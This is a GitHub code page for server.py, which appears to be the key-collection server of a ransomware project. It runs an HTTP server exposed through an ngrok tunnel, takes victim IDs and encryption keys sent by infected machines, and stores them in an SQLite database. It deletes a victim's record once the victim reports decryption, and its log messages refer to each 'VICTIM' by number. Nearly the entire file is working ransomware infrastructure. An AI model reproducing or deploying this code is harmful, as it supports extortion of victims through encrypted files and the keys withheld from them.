-
Notifications
You must be signed in to change notification settings - Fork 0
/
server.py
122 lines (98 loc) · 3.37 KB
/
server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
import ast
from http.server import HTTPServer, BaseHTTPRequestHandler
from pyngrok import ngrok, conf
import sqlite3
from sqlite3 import Error
conf.get_default().auth_token = "<NGROK_AUTH_TOKEN" #change this here, loggin to https://dashboard.ngrok.com/ and get your key.
database = r"database.db"
sql_create_table = """ CREATE TABLE IF NOT EXISTS CLIENT (
id integer,
key text NOT NULL,
date text,
decrypted text
); """
def create_connection(db_file):
conn = None
try:
conn = sqlite3.connect(db_file)
return conn
except Error as e:
print(e)
return conn
def create_table(conn, create_table_sql):
try:
c = conn.cursor()
c.execute(create_table_sql)
except Error as e:
print(e)
def insert_data(conn, data):
sql = ''' INSERT INTO CLIENT(id, key, date, decrypted)
VALUES(?,?,?,?) '''
cur = conn.cursor()
cur.execute(sql, data)
conn.commit()
return cur.lastrowid
def delete(conn, id):
sql = 'DELETE FROM CLIENT WHERE id=?'
cur = conn.cursor()
cur.execute(sql, (id,))
conn.commit()
class S(BaseHTTPRequestHandler):
def _set_headers(self):
self.send_response(200)
#self.send_header("Content-type", "text/html")
self.end_headers()
def do_GET(self):
self._set_headers()
self.wfile.write(self._html("hi!"))
def do_HEAD(self):
self._set_headers()
def do_POST(self):
content_length = int(self.headers['Content-Length']) # <--- Gets the size of data
post_data = self.rfile.read(content_length) # <--- Gets the data itself
self._set_headers()
LIST = ast.literal_eval(post_data.decode('utf-8')) # <-- Convert string to list by removing ''
print(f"digits: {LIST[0]}")
print(f"key: {LIST[1]}")
print(f"date: {LIST[2]}")
print(f"decrypted: {LIST[3]}")
digits = LIST[0]
key = LIST[1]
date = LIST[2]
decrypted = LIST[3]
# create a database connection
conn = create_connection(database)
print("CONNECTED TO DATABASE")
# create tables
if conn is not None:
# create CLIENT table
create_table(conn, sql_create_table)
print("CREATING DATABASE")
else:
print("Error! cannot create the database connection.")
if decrypted == 'true':
with conn:
delete(conn, digits)
print(f"VICTIM N:{digits} HAVE DECRYPTED THE FILE")
print(f"DATA FOR {digits} HAVE BEEN DELETED")
else:
with conn:
INSERT = (int(digits), key, date, decrypted);
insert_data(conn, INSERT)
print("DATA HAVE BEEN SAVED")
print()
def run(server_class=HTTPServer, handler_class=S, addr="localhost", port=8000):
try:
server_address = (addr, port)
httpd = server_class(server_address, handler_class)
url = ngrok.connect(port)
print(f"Starting httpd server on {url}")
print()
httpd.serve_forever()
ngrok_tunnel = ngrok.connect()
except KeyboardInterrupt:
httpd.__exit__()
print("SERVER IS OFFLINE")
exit()
if __name__ == "__main__":
run()